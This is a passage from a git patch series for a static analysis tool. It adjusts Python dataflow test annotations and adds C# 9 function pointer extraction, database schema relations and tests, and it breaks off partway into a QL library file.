test_dict_display(): x = {"s": SOURCE} - SINK(x["s"]) #$ flow="SOURCE, l:152 -> x['s']" + SINK(x["s"]) #$ flow="SOURCE, l:-1 -> x['s']" def test_dict_display_pop(): x = {"s": SOURCE} - SINK(x.pop("s")) #$ flow="SOURCE, l:157 -> x.pop(..)" + SINK(x.pop("s")) #$ flow="SOURCE, l:-1 -> x.pop(..)" def test_dict_comprehension(): x = {y: SOURCE for y in ["s"]} - SINK(x["s"]) #$ MISSING:flow="SOURCE, l:152 -> x['s']" + SINK(x["s"]) #$ MISSING:flow="SOURCE, l:-1 -> x['s']" def test_dict_comprehension_pop(): x = {y: SOURCE for y in ["s"]} - SINK(x.pop("s")) #$ MISSING:flow="SOURCE, l:167 -> x.pop()" + SINK(x.pop("s")) #$ MISSING:flow="SOURCE, l:-1 -> x.pop()" def test_nested_dict_display(): x = {**{"s": SOURCE}} - SINK(x["s"]) #$ MISSING:flow="SOURCE, l:172 -> x['s']" + SINK(x["s"]) #$ MISSING:flow="SOURCE, l:-1 -> x['s']" def test_nested_dict_display_pop(): x = {**{"s": SOURCE}} - SINK(x.pop("s")) #$ MISSING:flow="SOURCE, l:177 -> x.pop()" + SINK(x.pop("s")) #$ MISSING:flow="SOURCE, l:-1 -> x.pop()" # Nested comprehensions def test_nested_comprehension(): x = [y for z in [[SOURCE]] for y in z] - SINK(x[0]) #$ flow="SOURCE, l:183 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:-1 -> x[0]" def test_nested_comprehension_deep_with_local_flow(): x = [y for v in [[[[SOURCE]]]] for u in v for z in u for y in z] - SINK(x[0]) #$ flow="SOURCE, l:188 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:-1 -> x[0]" def test_nested_comprehension_dict(): d = {"s": [SOURCE]} x = [y for k, v in d.items() for y in v] - SINK(x[0]) #$ MISSING:flow="SOURCE, l:193 -> x[0]" + SINK(x[0]) #$ MISSING:flow="SOURCE, l:-1 -> x[0]" def test_nested_comprehension_paren(): x = [y for y in (z for z in [SOURCE])] - SINK(x[0]) #$ flow="SOURCE, l:199 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:-1 -> x[0]" # 6.2.8. Generator expressions @@ -228,7 +228,7 @@ def test_yield_from(): # a statement rather than an expression, but related to generators def test_for(): for x in gen(SOURCE): - SINK(x) #$ MISSING:flow="SOURCE, l:230 -> x" + SINK(x) #$ MISSING:flow="SOURCE, l:-1 -> x" # 6.2.9.1. Generator-iterator methods @@ -508,12 +508,12 @@ def test_lambda_extra_keyword_flow(): def test_swap(): a = SOURCE b = NONSOURCE - SINK(a) #$ flow="SOURCE, l:509 -> a" + SINK(a) #$ flow="SOURCE, l:-2 -> a" SINK_F(b) a, b = b, a SINK_F(a) - SINK(b) #$ flow="SOURCE, l:509 -> b" + SINK(b) #$ flow="SOURCE, l:-7 -> b" def test_deep_callgraph(): @@ -538,7 +538,7 @@ def test_deep_callgraph(): return f5(arg) x = f6(SOURCE) - SINK(x) #$ MISSING:flow="SOURCE, l:540 -> x" + SINK(x) #$ MISSING:flow="SOURCE, l:-1 -> x" @expects(2) From 876123315d351e0764d8b17cd07f593d937a3c29 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Tue, 3 Nov 2020 15:36:39 +0100 Subject: [PATCH 0701/1241] C#: Extract function pointers --- .../Entities/Expressions/Invocation.cs | 50 +++++-- .../Entities/LocalFunction.cs | 2 +- .../Entities/Method.cs | 16 +- .../Entities/OrdinaryMethod.cs | 2 +- .../Entities/Types/FunctionPointerType.cs | 44 ++++++ .../Entities/Types/Type.cs | 45 +++--- .../Kinds/ExprKind.cs | 3 +- .../Kinds/TypeKind.cs | 3 +- .../Populators/Symbols.cs | 2 + .../SymbolExtensions.cs | 141 ++++++++++++++++-- .../Semmle.Extraction.CSharp/Tuples.cs | 15 ++ csharp/ql/src/semmlecode.csharp.dbscheme | 22 ++- .../library-tests/csharp9/FunctionPointer.cs | 39 +++++ csharp/upgrades/TO_CHANGE/upgrade.properties | 2 + 14 files changed, 335 insertions(+), 51 deletions(-) create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/FunctionPointerType.cs create mode 100644 csharp/ql/test/library-tests/csharp9/FunctionPointer.cs create mode 100644 csharp/upgrades/TO_CHANGE/upgrade.properties diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs index 9efb5aec97f..bf5cf006282 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Invocation.cs @@ -4,6 +4,7 @@ using System.Linq; using Microsoft.CodeAnalysis.CSharp; using Semmle.Extraction.Kinds; using System.IO; +using System; namespace Semmle.Extraction.CSharp.Entities.Expressions { @@ -66,7 +67,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions } break; default: - // Delegate call; `d()` + // Delegate or function pointer call; `d()` Create(cx, Syntax.Expression, this, child++); break; } @@ -84,7 +85,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions if (target == null) { - if (!isDynamicCall && !IsDelegateCall(info)) + if (!isDynamicCall && !IsDelegateLikeCall(info)) cx.ModelError(Syntax, "Unable to resolve target for call. (Compilation error?)"); return; } @@ -98,7 +99,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions // Either the qualifier (Expression) is dynamic, // or one of the arguments is dynamic. var node = (InvocationExpressionSyntax)info.Node; - return !IsDelegateCall(info) && + return !IsDelegateLikeCall(info) && (IsDynamic(info.Context, node.Expression) || node.ArgumentList.Arguments.Any(arg => IsDynamic(info.Context, arg.Expression))); } @@ -133,12 +134,22 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions } } - private static bool IsDelegateCall(ExpressionNodeInfo info) + private static bool IsDelegateLikeCall(ExpressionNodeInfo info) + { + return IsDelegateLikeCall(info, IsDelegateLikeCall); + } + + private static bool IsDelegateInvokeCall(ExpressionNodeInfo info) + { + return IsDelegateLikeCall(info, IsDelegateInvoke); + } + + private static bool IsDelegateLikeCall(ExpressionNodeInfo info, Func<ISymbol, bool> check) { var si = info.SymbolInfo; if (si.CandidateReason == CandidateReason.OverloadResolutionFailure && - si.CandidateSymbols.OfType<IMethodSymbol>().All(s => s.MethodKind == MethodKind.DelegateInvoke)) + si.CandidateSymbols.All(check)) { return true; } @@ -153,9 +164,26 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions return true; } - return si.Symbol != null && - si.Symbol.Kind == SymbolKind.Method && - ((IMethodSymbol)si.Symbol).MethodKind == MethodKind.DelegateInvoke; + return check(si.Symbol); + } + + private static bool IsDelegateLikeCall(ISymbol symbol) + { + return IsFunctionPointer(symbol) || + IsDelegateInvoke(symbol); + } + + private static bool IsFunctionPointer(ISymbol symbol) + { + return symbol != null && + symbol.Kind == SymbolKind.FunctionPointerType; + } + + private static bool IsDelegateInvoke(ISymbol symbol) + { + return symbol != null && + symbol.Kind == SymbolKind.Method && + ((IMethodSymbol)symbol).MethodKind == MethodKind.DelegateInvoke; } private static bool IsLocalFunctionInvocation(ExpressionNodeInfo info) @@ -168,8 +196,10 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { return IsNameof((InvocationExpressionSyntax)info.Node) ? ExprKind.NAMEOF - : IsDelegateCall(info) - ? ExprKind.DELEGATE_INVOCATION + : IsDelegateLikeCall(info) + ? IsDelegateInvokeCall(info) + ? ExprKind.DELEGATE_INVOCATION + : ExprKind.FUNCTION_POINTER_INVOCATION : IsLocalFunctionInvocation(info) ? ExprKind.LOCAL_FUNCTION_INVOCATION : ExprKind.METHOD_INVOCATION; diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/LocalFunction.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/LocalFunction.cs index 309feabfe3d..921036250d1 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/LocalFunction.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/LocalFunction.cs @@ -39,7 +39,7 @@ namespace Semmle.Extraction.CSharp.Entities var originalDefinition = IsSourceDeclaration ? this : Create(Context, symbol.OriginalDefinition); var returnType = Type.Create(Context, symbol.ReturnType); trapFile.local_functions(this, symbol.Name, returnType, originalDefinition); - ExtractRefReturn(trapFile); + ExtractRefReturn(trapFile, symbol, this); } public override TrapStackBehaviour TrapStackBehaviour => TrapStackBehaviour.NeedsLabel; diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs index 94e8c838e7b..6a52087e384 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs @@ -40,7 +40,9 @@ namespace Semmle.Extraction.CSharp.Entities foreach (var p in parameters.Zip(originalParameters, (paramSymbol, originalParam) => new { paramSymbol, originalParam })) { - var original = SymbolEqualityComparer.Default.Equals(p.paramSymbol, p.originalParam) ? null : Parameter.Create(Context, p.originalParam, originalMethod); + var original = SymbolEqualityComparer.Default.Equals(p.paramSymbol, p.originalParam) + ? null + : Parameter.Create(Context, p.originalParam, originalMethod); Parameter.Create(Context, p.paramSymbol, this, original); } @@ -110,7 +112,7 @@ namespace Semmle.Extraction.CSharp.Entities /// <summary> /// Factored out to share logic between `Method` and `UserOperator`. /// </summary> - protected static void BuildMethodId(Method m, TextWriter trapFile) + private static void BuildMethodId(Method m, TextWriter trapFile) { m.symbol.ReturnType.BuildOrWriteId(m.Context, trapFile, m.symbol); trapFile.Write(" "); @@ -324,12 +326,12 @@ namespace Semmle.Extraction.CSharp.Entities } } - protected void ExtractRefReturn(TextWriter trapFile) + public static void ExtractRefReturn(TextWriter trapFile, IMethodSymbol method, IEntity element) { - if (symbol.ReturnsByRef) - trapFile.type_annotation(this, Kinds.TypeAnnotation.Ref); - if (symbol.ReturnsByRefReadonly) - trapFile.type_annotation(this, Kinds.TypeAnnotation.ReadonlyRef); + if (method.ReturnsByRef) + trapFile.type_annotation(element, Kinds.TypeAnnotation.Ref); + if (method.ReturnsByRefReadonly) + trapFile.type_annotation(element, Kinds.TypeAnnotation.ReadonlyRef); } protected void PopulateMethod(TextWriter trapFile) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/OrdinaryMethod.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/OrdinaryMethod.cs index dbeab838b25..d81fc25f72b 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/OrdinaryMethod.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/OrdinaryMethod.cs @@ -49,7 +49,7 @@ namespace Semmle.Extraction.CSharp.Entities PopulateGenerics(trapFile); Overrides(trapFile); - ExtractRefReturn(trapFile); + ExtractRefReturn(trapFile, symbol, this); ExtractCompilerGenerated(trapFile); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/FunctionPointerType.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/FunctionPointerType.cs new file mode 100644 index 00000000000..e4becfb9d32 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/FunctionPointerType.cs @@ -0,0 +1,44 @@ +using System.IO; +using System.Linq; +using Microsoft.CodeAnalysis; + +namespace Semmle.Extraction.CSharp.Entities +{ + internal class FunctionPointerType : Type<IFunctionPointerTypeSymbol> + { + private FunctionPointerType(Context cx, IFunctionPointerTypeSymbol init) + : base(cx, init) + { + } + + public override void WriteId(TextWriter trapFile) + { + symbol.BuildTypeId(Context, trapFile, symbol); + trapFile.Write(";functionpointertype"); + } + + public override bool NeedsPopulation => true; + + public override void Populate(TextWriter trapFile) + { + var unmanagedCallingConventionTypes = symbol.Signature.UnmanagedCallingConventionTypes.Select(nt => Create(Context, nt)).ToArray(); + + trapFile.function_pointer_calling_conventions(this, (int)symbol.Signature.CallingConvention); + for (var i = 0; i < unmanagedCallingConventionTypes.Length; i++) + { + trapFile.has_unmanaged_calling_conventions(this, i, unmanagedCallingConventionTypes[i].TypeRef); + } + + PopulateType(trapFile); + } + + public static FunctionPointerType Create(Context cx, IFunctionPointerTypeSymbol symbol) => FunctionPointerTypeFactory.Instance.CreateEntityFromSymbol(cx, symbol); + + private class FunctionPointerTypeFactory : ICachedEntityFactory<IFunctionPointerTypeSymbol, FunctionPointerType> + { + public static FunctionPointerTypeFactory Instance { get; } = new FunctionPointerTypeFactory(); + + public FunctionPointerType Create(Context cx, IFunctionPointerTypeSymbol init) => new FunctionPointerType(cx, init); + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs index ef1e2909ebf..8c96a334565 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs @@ -1,6 +1,7 @@ using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.CSharp.Syntax; using Semmle.Util; +using System; using System.Collections.Generic; using System.IO; using System.Linq; @@ -57,6 +58,7 @@ namespace Semmle.Extraction.CSharp.Entities case TypeKind.Enum: return Kinds.TypeKind.ENUM; case TypeKind.Delegate: return Kinds.TypeKind.DELEGATE; case TypeKind.Pointer: return Kinds.TypeKind.POINTER; + case TypeKind.FunctionPointer: return Kinds.TypeKind.FUNCTION_POINTER; case TypeKind.Error: return Kinds.TypeKind.UNKNOWN; default: cx.ModelError(t, $"Unhandled type kind '{t.TypeKind}'"); @@ -131,23 +133,14 @@ namespace Semmle.Extraction.CSharp.Entities // This is a delegate. // The method "Invoke" has the return type. var invokeMethod = ((INamedTypeSymbol)symbol).DelegateInvokeMethod; + ExtractParametersForDelegateLikeType(trapFile, invokeMethod, + t => trapFile.delegate_return_type(this, t)); + } - // Copy the parameters from the "Invoke" method to the delegate type - for (var i = 0; i < invokeMethod.Parameters.Length; ++i) - { - var param = invokeMethod.Parameters[i]; - var originalParam = invokeMethod.OriginalDefinition.Parameters[i]; - var originalParamEntity = SymbolEqualityComparer.Default.Equals(param, originalParam) ? null : - DelegateTypeParameter.Create(Context, originalParam, Create(Context, ((INamedTypeSymbol)symbol).OriginalDefinition)); - DelegateTypeParameter.Create(Context, param, this, originalParamEntity); - } - - var returnKey = Create(Context, invokeMethod.ReturnType); - trapFile.delegate_return_type(this, returnKey.TypeRef); - if (invokeMethod.ReturnsByRef) - trapFile.type_annotation(this, Kinds.TypeAnnotation.Ref); - if (invokeMethod.ReturnsByRefReadonly) - trapFile.type_annotation(this, Kinds.TypeAnnotation.ReadonlyRef); + if (symbol is IFunctionPointerTypeSymbol functionPointer) + { + ExtractParametersForDelegateLikeType(trapFile, functionPointer.Signature, + t => trapFile.function_pointer_return_type(this, t)); } Modifier.ExtractModifiers(Context, trapFile, this, symbol); @@ -170,6 +163,23 @@ namespace Semmle.Extraction.CSharp.Entities } } + private void ExtractParametersForDelegateLikeType(TextWriter trapFile, IMethodSymbol invokeMethod, Action<Type> storeReturnType) + { + for (var i = 0; i < invokeMethod.Parameters.Length; ++i) + { + var param = invokeMethod.Parameters[i]; + var originalParam = invokeMethod.OriginalDefinition.Parameters[i]; + var originalParamEntity = SymbolEqualityComparer.Default.Equals(param, originalParam) + ? null + : DelegateTypeParameter.Create(Context, originalParam, Create(Context, ((INamedTypeSymbol)symbol).OriginalDefinition)); + DelegateTypeParameter.Create(Context, param, this, originalParamEntity); + } + + var returnKey = Create(Context, invokeMethod.ReturnType); + storeReturnType(returnKey.TypeRef); + Method.ExtractRefReturn(trapFile, invokeMethod, this); + } + /// <summary> /// Called to extract all members and nested types. /// This is called on each member of a namespace, @@ -265,8 +275,7 @@ namespace Semmle.Extraction.CSharp.Entities symbol != null && symbol.TypeKind == TypeKind.Delegate; /// <summary> - /// A copy of a delegate "Invoke" method parameter used for the delgate - /// type. + /// A copy of a delegate "Invoke" method or function pointer parameter. /// </summary> private class DelegateTypeParameter : Parameter { diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs b/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs index 9d99122ce90..4dce36430d3 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs @@ -120,6 +120,7 @@ namespace Semmle.Extraction.Kinds GT_PATTERN = 123, LE_PATTERN = 124, GE_PATTERN = 125, - NOT_PATTERN = 126 + NOT_PATTERN = 126, + FUNCTION_POINTER_INVOCATION = 129, } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Kinds/TypeKind.cs b/csharp/extractor/Semmle.Extraction.CSharp/Kinds/TypeKind.cs index fb205a6646e..01fad60e003 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Kinds/TypeKind.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Kinds/TypeKind.cs @@ -34,6 +34,7 @@ namespace Semmle.Extraction.Kinds // lgtm[cs/similar-file] DYNAMIC = 29, ARGLIST = 30, UNKNOWN = 31, - TUPLE = 32 + TUPLE = 32, + FUNCTION_POINTER = 33 } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Populators/Symbols.cs b/csharp/extractor/Semmle.Extraction.CSharp/Populators/Symbols.cs index ddf64257cbe..a4a06fd6ba2 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Populators/Symbols.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Populators/Symbols.cs @@ -38,6 +38,8 @@ namespace Semmle.Extraction.CSharp.Populators public override IEntity VisitPointerType(IPointerTypeSymbol symbol) => PointerType.Create(cx, symbol); + public override IEntity VisitFunctionPointerType(IFunctionPointerTypeSymbol symbol) => FunctionPointerType.Create(cx, symbol); + public override IEntity VisitDynamicType(IDynamicTypeSymbol symbol) => DynamicType.Create(cx, symbol); } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs b/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs index 574374a80f5..41278b59d4a 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/SymbolExtensions.cs @@ -134,6 +134,13 @@ namespace Semmle.Extraction.CSharp return tp.ContainingSymbol is ITypeSymbol cont ? IdDependsOnImpl(cont) : SymbolEqualityComparer.Default.Equals(tp.ContainingSymbol, symbol); + case TypeKind.FunctionPointer: + var funptr = (IFunctionPointerTypeSymbol)type; + if (funptr.Signature.Parameters.Any(p => IdDependsOnImpl(p.Type))) + { + return true; + } + return IdDependsOnImpl(funptr.Signature.ReturnType); default: return false; } @@ -190,6 +197,10 @@ namespace Semmle.Extraction.CSharp case TypeKind.Dynamic: trapFile.Write("dynamic"); return; + case TypeKind.FunctionPointer: + var funptr = (IFunctionPointerTypeSymbol)type; + funptr.BuildFunctionPointerTypeId(cx, trapFile, symbolBeingDefined); + return; default: throw new InternalError(type, $"Unhandled type kind '{type.TypeKind}'"); } @@ -265,6 +276,53 @@ namespace Semmle.Extraction.CSharp trapFile.Write("::"); } + private static void BuildFunctionPointerTypeId(this IFunctionPointerTypeSymbol funptr, Context cx, TextWriter trapFile, ISymbol symbolBeingDefined) + { + trapFile.Write("delegate* "); + trapFile.Write(funptr.Signature.CallingConvention.ToString().ToLowerInvariant()); + if (funptr.Signature.UnmanagedCallingConventionTypes.Any()) + { + trapFile.Write('['); + trapFile.BuildList(",", funptr.Signature.UnmanagedCallingConventionTypes, + (ta, tb0) => ta.BuildOrWriteId(cx, tb0, symbolBeingDefined) + ); + trapFile.Write("]"); + } + + trapFile.Write('<'); + trapFile.BuildList(",", funptr.Signature.Parameters, + (p, trap) => + { + p.Type.BuildOrWriteId(cx, trap, symbolBeingDefined); + switch (p.RefKind) + { + case RefKind.Out: + trap.Write(" out"); + break; + case RefKind.In: + trap.Write(" in"); + break; + case RefKind.Ref: + trap.Write(" ref"); + break; + } + }); + + if (funptr.Signature.Parameters.Any()) + { + trapFile.Write(","); + } + + funptr.Signature.ReturnType.BuildOrWriteId(cx, trapFile, symbolBeingDefined); + + if (funptr.Signature.ReturnsByRef) + trapFile.Write(" ref"); + if (funptr.Signature.ReturnsByRefReadonly) + trapFile.Write(" readonly ref"); + + trapFile.Write('>'); + } + private static void BuildNamedTypeId(this INamedTypeSymbol named, Context cx, TextWriter trapFile, ISymbol symbolBeingDefined, bool addBaseClass, bool constructUnderlyingTupleType) { if (!constructUnderlyingTupleType && named.IsTupleType) @@ -394,6 +452,10 @@ namespace Semmle.Extraction.CSharp ptr.PointedAtType.BuildDisplayName(cx, trapFile); trapFile.Write('*'); return; + case TypeKind.FunctionPointer: + var funptr = (IFunctionPointerTypeSymbol)type; + funptr.BuildFunctionPointerTypeDisplayName(cx, trapFile); + return; case TypeKind.TypeParameter: trapFile.Write(type.Name); return; @@ -406,31 +468,90 @@ namespace Semmle.Extraction.CSharp } } - public static void BuildNamedTypeDisplayName(this INamedTypeSymbol namedType, Context cx, TextWriter trapFile, bool constructUnderlyingTupleType) + private static void BuildFunctionPointerTypeDisplayName(this IFunctionPointerTypeSymbol funptr, Context cx, TextWriter trapFile) + { + trapFile.Write("delegate* "); + trapFile.Write(funptr.Signature.CallingConvention.ToString().ToLowerInvariant()); + + if (funptr.Signature.UnmanagedCallingConventionTypes.Any()) + { + trapFile.Write('['); + trapFile.BuildList( + ",", + funptr.Signature.UnmanagedCallingConventionTypes, + (t, tb0) => t.BuildDisplayName(cx, tb0)); + trapFile.Write("]"); + } + + trapFile.Write('<'); + trapFile.BuildList(",", funptr.Signature.Parameters, + (p, trap) => + { + p.Type.BuildDisplayName(cx, trapFile); + switch (p.RefKind) + { + case RefKind.Out: + trap.Write(" out"); + break; + case RefKind.In: + trap.Write(" in"); + break; + case RefKind.Ref: + trap.Write(" ref"); + break; + } + }); + + if (funptr.Signature.Parameters.Any()) + { + trapFile.Write(","); + } + + funptr.Signature.ReturnType.BuildDisplayName(cx, trapFile); + + if (funptr.Signature.ReturnsByRef) + trapFile.Write(" ref"); + if (funptr.Signature.ReturnsByRefReadonly) + trapFile.Write(" readonly ref"); + + trapFile.Write('>'); + } + + private static void BuildNamedTypeDisplayName(this INamedTypeSymbol namedType, Context cx, TextWriter trapFile, bool constructUnderlyingTupleType) { if (!constructUnderlyingTupleType && namedType.IsTupleType) { trapFile.Write('('); - trapFile.BuildList(",", namedType.TupleElements.Select(f => f.Type), - (t, tb0) => t.BuildDisplayName(cx, tb0) - ); - + trapFile.BuildList( + ",", + namedType.TupleElements.Select(f => f.Type), + (t, tb0) => t.BuildDisplayName(cx, tb0)); trapFile.Write(")"); return; } if (namedType.IsAnonymousType) + { namedType.BuildAnonymousName(cx, trapFile); + } else + { trapFile.Write(namedType.Name); + } + if (namedType.IsGenericType && namedType.TypeKind != TypeKind.Error && namedType.TypeArguments.Any()) { trapFile.Write('<'); - trapFile.BuildList(",", namedType.TypeArguments, (p, tb0) => - { - if (IsReallyBound(namedType)) - p.BuildDisplayName(cx, tb0); - }); + trapFile.BuildList( + ",", + namedType.TypeArguments, + (p, tb0) => + { + if (IsReallyBound(namedType)) + { + p.BuildDisplayName(cx, tb0); + } + }); trapFile.Write('>'); } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs index 53fe9a00ca4..630c2848e3d 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs @@ -151,6 +151,11 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("delegate_return_type", delegateKey, returnType); } + internal static void function_pointer_return_type(this TextWriter trapFile, Type functionPointer, Type returnType) + { + trapFile.WriteTuple("function_pointer_return_type", functionPointer, returnType); + } + internal static void destructor_location(this TextWriter trapFile, Destructor destructor, Location location) { trapFile.WriteTuple("destructor_location", destructor, location); @@ -476,6 +481,16 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("specific_type_parameter_nullability", constraints, baseType, nullability); } + internal static void function_pointer_calling_conventions(this TextWriter trapFile, FunctionPointerType type, int kind) + { + trapFile.WriteTuple("function_pointer_calling_conventions", type, kind); + } + + internal static void has_unmanaged_calling_conventions(this TextWriter trapFile, FunctionPointerType type, int index, Type convention) + { + trapFile.WriteTuple("has_unmanaged_calling_conventions", type, index, convention); + } + internal static void stackalloc_array_creation(this TextWriter trapFile, Expression array) { trapFile.WriteTuple("stackalloc_array_creation", array); diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index 98e37f65f0a..87af962edcd 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -369,6 +369,7 @@ case @type.kind of | 30 = @arglist_type | 31 = @unknown_type | 32 = @tuple_type +| 33 = @function_pointer_type ; @simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; @@ -414,6 +415,10 @@ delegate_return_type( unique int delegate_id: @delegate_type ref, int return_type_id: @type_or_ref ref); +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + extend( unique int sub: @type ref, int super: @type_or_ref ref); @@ -545,6 +550,18 @@ specific_type_parameter_nullability( int base_id: @type_or_ref ref, int nullability: @nullability ref); +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + /** MODIFIERS */ @modifiable = @modifiable_direct | @event_accessor; @@ -758,7 +775,7 @@ localvar_location( unique int id: @local_variable ref, int loc: @location ref); -@parameterizable = @callable | @delegate_type | @indexer; +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type; #keyset[name, parent_id] #keyset[index, parent_id] @@ -1015,6 +1032,7 @@ case @expr.kind of | 124 = @le_pattern_expr | 125 = @ge_pattern_expr | 126 = @not_pattern_expr +| 129 = @function_pointer_invocation_expr ; @switch = @switch_stmt | @switch_expr; @@ -1085,7 +1103,7 @@ case @expr.kind of @call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr | @delegate_invocation_expr | @object_creation_expr | @call_access_expr - | @local_function_invocation_expr; + | @local_function_invocation_expr | @function_pointer_invocation_expr; @call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; diff --git a/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs b/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs new file mode 100644 index 00000000000..471f611159e --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/FunctionPointer.cs @@ -0,0 +1,39 @@ +using System; + +#nullable enable + +public class Class1 +{ + public unsafe static class Program + { + static delegate*<int> pointer = &Main; + + public static int Main() + { + return 0; + } + + static void M1(delegate*<ref int, out object?, int> f) + { + int i = 42; + int j = f(ref i, out object? o); + } + + static void M2<T>(delegate* unmanaged[Stdcall, SuppressGCTransition]<ref int, out object?, T, void> f) where T : new() + { + int i = 42; + f(ref i, out object? o, new T()); + } + + static void M3(delegate* managed<ref int, out object?, in int, ref int> f) + { + int i = 42; + ref int j = ref f(ref i, out object? o, in i); + } + + static void M4<T>(delegate*<T, int> f) where T : new() + { + int j = f(new T()); + } + } +} \ No newline at end of file diff --git a/csharp/upgrades/TO_CHANGE/upgrade.properties b/csharp/upgrades/TO_CHANGE/upgrade.properties new file mode 100644 index 00000000000..f27d93bcd0e --- /dev/null +++ b/csharp/upgrades/TO_CHANGE/upgrade.properties @@ -0,0 +1,2 @@ +description: Added '@function_pointer_type', '@function_pointer_invocation_expr' and related relations. +compatibility: full From 183926d9fdfd381ff43c9e43ddf0f16f7d982a68 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 4 Nov 2020 13:41:16 +0100 Subject: [PATCH 0702/1241] C#: Add QL classes for function pointer type/invocation, tests --- .../2020-11-19-Function-pointer.md | 3 + csharp/ql/src/semmle/code/csharp/Type.qll | 25 +++++ .../ql/src/semmle/code/csharp/exprs/Call.qll | 21 +++++ .../library-tests/csharp9/FunctionPointer.cs | 8 +- .../csharp9/FunctionPointer.expected | 22 +++++ .../library-tests/csharp9/FunctionPointer.ql | 16 ++++ .../library-tests/csharp9/PrintAst.expected | 92 +++++++++++++++++++ .../csharp9/typeParameterNullability.expected | 2 + csharp/upgrades/TO_CHANGE/upgrade.properties | 2 +- 9 files changed, 186 insertions(+), 5 deletions(-) create mode 100644 csharp/change-notes/2020-11-19-Function-pointer.md create mode 100644 csharp/ql/test/library-tests/csharp9/FunctionPointer.expected create mode 100644 csharp/ql/test/library-tests/csharp9/FunctionPointer.ql diff --git a/csharp/change-notes/2020-11-19-Function-pointer.md b/csharp/change-notes/2020-11-19-Function-pointer.md new file mode 100644 index 00000000000..b48855d2f89 --- /dev/null +++ b/csharp/change-notes/2020-11-19-Function-pointer.md @@ -0,0 +1,3 @@ +lgtm,codescanning +* Function pointer types (`FunctionPointerType`) and call to function pointers +(`FunctionPointerCall`) are extracted. diff --git a/csharp/ql/src/semmle/code/csharp/Type.qll b/csharp/ql/src/semmle/code/csharp/Type.qll index 17b4c168f6c..a6adb2bbaa7 100644 --- a/csharp/ql/src/semmle/code/csharp/Type.qll +++ b/csharp/ql/src/semmle/code/csharp/Type.qll @@ -797,6 +797,31 @@ class DelegateType extends RefType, Parameterizable, 